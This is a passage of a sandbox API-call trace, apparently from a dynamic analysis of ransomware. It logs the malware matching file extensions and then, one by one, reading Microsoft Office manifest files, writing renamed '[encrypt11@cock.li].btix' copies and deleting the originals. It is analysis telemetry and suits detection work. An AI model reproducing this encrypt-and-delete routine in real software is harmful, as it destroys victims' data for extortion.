lstrlenW (lpString=".zip") returned 4 [0048.514] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0048.514] lstrlenW (lpString=".rar") returned 4 [0048.514] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0048.514] lstrlenW (lpString=".bz2") returned 4 [0048.514] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0048.514] lstrlenW (lpString=".7z") returned 3 [0048.514] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0048.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0048.514] lstrlenW (lpString=".dbf") returned 4 [0048.514] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0048.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0048.514] lstrlenW (lpString=".1cd") returned 4 [0048.514] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0048.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0048.514] lstrlenW (lpString=".jpg") returned 4 [0048.514] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0048.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0048.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0048.514] lstrlenW (lpString=".doc") returned 4 [0048.514] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0048.514] lstrlenW (lpString=".docx") returned 5 [0048.514] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0048.514] lstrlenW (lpString=".pdf") returned 4 [0048.514] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0048.514] lstrlenW (lpString=".xls") returned 4 [0048.514] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0048.515] lstrlenW (lpString=".xlsx") returned 5 [0048.515] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0048.515] lstrlenW (lpString=".ppt") returned 4 [0048.515] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0048.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0048.515] lstrlenW (lpString=".zip") returned 4 [0048.515] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0048.515] lstrlenW (lpString=".rar") returned 4 [0048.515] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0048.515] lstrlenW (lpString=".bz2") returned 4 [0048.515] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0048.515] lstrlenW (lpString=".7z") returned 3 [0048.515] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0048.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0048.515] lstrlenW (lpString=".dbf") returned 4 [0048.515] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0048.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0048.515] lstrlenW (lpString=".1cd") returned 4 [0048.515] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0048.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0048.515] lstrlenW (lpString=".jpg") returned 4 [0048.515] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0048.515] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0048.515] lstrlenW (lpString="AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 53 [0048.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0048.516] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=496513) returned 1 [0048.516] CloseHandle (hObject=0x394) returned 1 [0048.516] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml")) returned 0x220 [0048.516] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0048.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0048.516] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.516] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0048.517] GetLastError () returned 0x0 [0048.517] ReadFile (in: hFile=0x394, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x79381, lpOverlapped=0x0) returned 1 [0048.593] WriteFile (in: hFile=0x368, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x79390, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x79390, lpOverlapped=0x0) returned 1 [0048.600] ReadFile (in: hFile=0x394, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0048.600] WriteFile (in: hFile=0x368, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x13e, lpOverlapped=0x0) returned 1 [0048.600] SetEndOfFile (hFile=0x368) returned 1 [0048.601] CloseHandle (hObject=0x368) returned 1 [0048.609] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.609] SetEndOfFile (hFile=0x394) returned 1 [0048.613] CloseHandle (hObject=0x394) returned 1 [0048.614] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0048.614] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml")) returned 1 [0048.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0048.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0048.614] lstrlenW (lpString=".doc") returned 4 [0048.614] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0048.614] lstrlenW (lpString=".docx") returned 5 [0048.614] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0048.614] lstrlenW (lpString=".pdf") returned 4 [0048.614] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0048.614] lstrlenW (lpString=".xls") returned 4 [0048.614] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0048.614] lstrlenW (lpString=".xlsx") returned 5 [0048.614] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0048.615] lstrlenW (lpString=".ppt") returned 4 [0048.615] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0048.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0048.615] lstrlenW (lpString=".zip") returned 4 [0048.615] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0048.615] lstrlenW (lpString=".rar") returned 4 [0048.615] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0048.615] lstrlenW (lpString=".bz2") returned 4 [0048.615] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0048.615] lstrlenW (lpString=".7z") returned 3 [0048.615] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0048.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0048.615] lstrlenW (lpString=".dbf") returned 4 [0048.615] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0048.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0048.615] lstrlenW (lpString=".1cd") returned 4 [0048.615] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0048.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0048.615] lstrlenW (lpString=".jpg") returned 4 [0048.615] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0048.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0048.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0048.615] lstrlenW (lpString=".doc") returned 4 [0048.615] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0048.615] lstrlenW (lpString=".docx") returned 5 [0048.615] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0048.615] lstrlenW (lpString=".pdf") returned 4 [0048.615] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0048.615] lstrlenW (lpString=".xls") returned 4 [0048.615] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0048.615] lstrlenW (lpString=".xlsx") returned 5 [0048.615] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0048.615] lstrlenW (lpString=".ppt") returned 4 [0048.615] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0048.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0048.616] lstrlenW (lpString=".zip") returned 4 [0048.616] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0048.616] lstrlenW (lpString=".rar") returned 4 [0048.616] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0048.616] lstrlenW (lpString=".bz2") returned 4 [0048.616] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0048.616] lstrlenW (lpString=".7z") returned 3 [0048.616] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0048.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0048.616] lstrlenW (lpString=".dbf") returned 4 [0048.616] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0048.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0048.616] lstrlenW (lpString=".1cd") returned 4 [0048.616] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0048.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0048.616] lstrlenW (lpString=".jpg") returned 4 [0048.616] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0048.616] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0048.616] lstrlenW (lpString="AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 53 [0048.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0048.631] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=253712) returned 1 [0048.631] CloseHandle (hObject=0x394) returned 1 [0048.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml")) returned 0x220 [0048.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0048.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0048.632] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.632] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0048.632] GetLastError () returned 0x0 [0048.632] ReadFile (in: hFile=0x394, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x3df10, lpOverlapped=0x0) returned 1 [0048.940] WriteFile (in: hFile=0x368, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x3df20, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x3df20, lpOverlapped=0x0) returned 1 [0048.943] ReadFile (in: hFile=0x394, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0048.943] WriteFile (in: hFile=0x368, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x13e, lpOverlapped=0x0) returned 1 [0048.943] SetEndOfFile (hFile=0x368) returned 1 [0048.944] CloseHandle (hObject=0x368) returned 1 [0048.948] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.948] SetEndOfFile (hFile=0x394) returned 1 [0048.950] CloseHandle (hObject=0x394) returned 1 [0048.950] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0048.950] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml")) returned 1 [0048.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0048.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0048.951] lstrlenW (lpString=".doc") returned 4 [0048.951] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0048.951] lstrlenW (lpString=".docx") returned 5 [0048.951] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0048.951] lstrlenW (lpString=".pdf") returned 4 [0048.951] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0048.951] lstrlenW (lpString=".xls") returned 4 [0048.951] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0048.951] lstrlenW (lpString=".xlsx") returned 5 [0048.951] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0048.951] lstrlenW (lpString=".ppt") returned 4 [0048.951] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0048.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0048.951] lstrlenW (lpString=".zip") returned 4 [0048.951] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0048.951] lstrlenW (lpString=".rar") returned 4 [0048.951] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0048.951] lstrlenW (lpString=".bz2") returned 4 [0048.951] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0048.951] lstrlenW (lpString=".7z") returned 3 [0048.951] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0048.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0048.951] lstrlenW (lpString=".dbf") returned 4 [0048.951] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0048.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0048.951] lstrlenW (lpString=".1cd") returned 4 [0048.951] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0048.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0048.952] lstrlenW (lpString=".jpg") returned 4 [0048.952] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0048.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0048.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0048.999] lstrlenW (lpString=".doc") returned 4 [0048.999] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0048.999] lstrlenW (lpString=".docx") returned 5 [0048.999] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0048.999] lstrlenW (lpString=".pdf") returned 4 [0048.999] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0048.999] lstrlenW (lpString=".xls") returned 4 [0048.999] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0048.999] lstrlenW (lpString=".xlsx") returned 5 [0048.999] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0048.999] lstrlenW (lpString=".ppt") returned 4 [0048.999] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0048.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0048.999] lstrlenW (lpString=".zip") returned 4 [0048.999] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0048.999] lstrlenW (lpString=".rar") returned 4 [0048.999] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0048.999] lstrlenW (lpString=".bz2") returned 4 [0048.999] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0048.999] lstrlenW (lpString=".7z") returned 3 [0048.999] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0048.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0048.999] lstrlenW (lpString=".dbf") returned 4 [0048.999] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0048.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0049.000] lstrlenW (lpString=".1cd") returned 4 [0049.000] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0049.000] lstrlenW (lpString=".jpg") returned 4 [0049.000] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.000] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0049.000] lstrlenW (lpString="AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 53 [0049.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0049.059] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=763363) returned 1 [0049.059] CloseHandle (hObject=0x394) returned 1 [0049.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml")) returned 0x220 [0049.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0049.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0049.059] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.059] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0049.060] GetLastError () returned 0x0 [0049.060] ReadFile (in: hFile=0x394, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0xba5e3, lpOverlapped=0x0) returned 1 [0049.188] WriteFile (in: hFile=0x368, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xba5f0, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xba5f0, lpOverlapped=0x0) returned 1 [0049.198] ReadFile (in: hFile=0x394, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0049.198] WriteFile (in: hFile=0x368, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x13e, lpOverlapped=0x0) returned 1 [0049.198] SetEndOfFile (hFile=0x368) returned 1 [0049.198] CloseHandle (hObject=0x368) returned 1 [0049.241] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.241] SetEndOfFile (hFile=0x394) returned 1 [0049.607] CloseHandle (hObject=0x394) returned 1 [0049.608] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0049.608] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml")) returned 1 [0049.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0049.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0049.608] lstrlenW (lpString=".doc") returned 4 [0049.608] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.608] lstrlenW (lpString=".docx") returned 5 [0049.608] 